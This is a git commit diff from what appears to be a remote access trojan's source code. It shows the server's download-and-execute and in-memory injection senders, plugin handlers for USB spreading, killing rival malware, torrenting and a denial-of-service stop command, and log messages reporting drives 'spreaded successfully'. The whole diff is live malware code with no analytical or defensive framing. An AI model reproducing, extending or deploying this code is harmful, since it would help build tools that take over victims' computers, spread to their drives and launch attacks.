This commit is contained in:
NYAN CAT 2019-10-09 08:43:08 +03:00
parent f302d8fdb3
commit 198a79d30d
6 changed files with 20 additions and 12 deletions

View File

@ -27,6 +27,7 @@ namespace Plugin
case "botKiller":
{
new HandleBotKiller().RunBotKiller();
Thread.Sleep(2500);
Connection.Disconnected();
break;
}
@ -34,6 +35,7 @@ namespace Plugin
case "limeUSB":
{
new HandleLimeUSB().Initialize();
Thread.Sleep(2500);
Connection.Disconnected();
break;
}
@ -41,6 +43,7 @@ namespace Plugin
case "torrent":
{
new HandleTorrent(unpack_msgpack);
Thread.Sleep(2500);
Connection.Disconnected();
break;
}
@ -81,6 +84,7 @@ namespace Plugin
case "postStop":
{
ctsDos.Cancel();
Thread.Sleep(2500);
Connection.Disconnected();
break;
}

View File

@ -66,10 +66,11 @@ namespace Plugin.Handler
SetRegistry.SetValue(Connection.Hwid, "1");
}
}
catch(Exception ex)
catch (Exception ex)
{
Packet.Error(ex.Message);
}
Connection.Disconnected();
}
public void KillMiner()
@ -86,6 +87,7 @@ namespace Plugin.Handler
}
catch{ }
}
Connection.Disconnected();
}
public string GetCommandLine(Process process)

View File

@ -82,6 +82,7 @@ namespace Plugin.Handler
{
Packet.Error(ex.Message);
}
Connection.Disconnected();
}
}

View File

@ -46,7 +46,6 @@ namespace Plugin
{
Error(ex.Message);
}
Connection.Disconnected();
}
public static void Error(string ex)

View File

@ -1486,7 +1486,7 @@ namespace Server
}
}
private async void DownloadAndExecuteToolStripMenuItem_Click(object sender, EventArgs e)
private void DownloadAndExecuteToolStripMenuItem_Click(object sender, EventArgs e)
{
try
{
@ -1496,7 +1496,7 @@ namespace Server
MsgPack packet = new MsgPack();
packet.ForcePathObject("Packet").AsString = "sendFile";
packet.ForcePathObject("Update").AsString = "false";
await packet.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName);
packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(openFileDialog.FileName)));
packet.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName);
MsgPack msgpack = new MsgPack();
@ -1543,7 +1543,8 @@ namespace Server
{
MsgPack packet = new MsgPack();
packet.ForcePathObject("Packet").AsString = "sendMemory";
packet.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString()));
packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString())));
if (formSend.comboBox1.SelectedIndex == 0)
{
packet.ForcePathObject("Inject").AsString = "";
@ -1589,7 +1590,7 @@ namespace Server
}
}
private async void UPDATEToolStripMenuItem1_Click(object sender, EventArgs e)
private void UPDATEToolStripMenuItem1_Click(object sender, EventArgs e)
{
try
{
@ -1598,7 +1599,8 @@ namespace Server
{
MsgPack packet = new MsgPack();
packet.ForcePathObject("Packet").AsString = "sendFile";
await packet.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName);
packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(openFileDialog.FileName)));
packet.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName);
packet.ForcePathObject("Update").AsString = "true";

View File

@ -20,7 +20,7 @@ namespace Server.Handle_Packet
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes(data);
string ip = client.TcpClient.RemoteEndPoint.ToString().Split(':')[0];
Program.form1.Invoke((MethodInvoker)(() =>
{
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
@ -45,7 +45,7 @@ namespace Server.Handle_Packet
case "Logs":
{
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {unpack_msgpack.ForcePathObject("Message").AsString}", Color.Black);
new HandleLogs().Addmsg($"Client {ip} {unpack_msgpack.ForcePathObject("Message").AsString}", Color.Black);
break;
}
@ -58,13 +58,13 @@ namespace Server.Handle_Packet
case "BotKiller":
{
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange);
new HandleLogs().Addmsg($"Client {ip} found {unpack_msgpack.ForcePathObject("Count").AsString} malwares and killed them successfully", Color.Orange);
break;
}
case "usb":
{
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple);
new HandleLogs().Addmsg($"Client {ip} found {unpack_msgpack.ForcePathObject("Count").AsString} USB drivers and spreaded them successfully", Color.Purple);
break;
}
@ -82,7 +82,7 @@ namespace Server.Handle_Packet
case "Error":
{
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} error: {unpack_msgpack.ForcePathObject("Error").AsString}", Color.Red);
new HandleLogs().Addmsg($"Client {ip} error: {unpack_msgpack.ForcePathObject("Error").AsString}", Color.Red);
break;
}
case "remoteDesktop":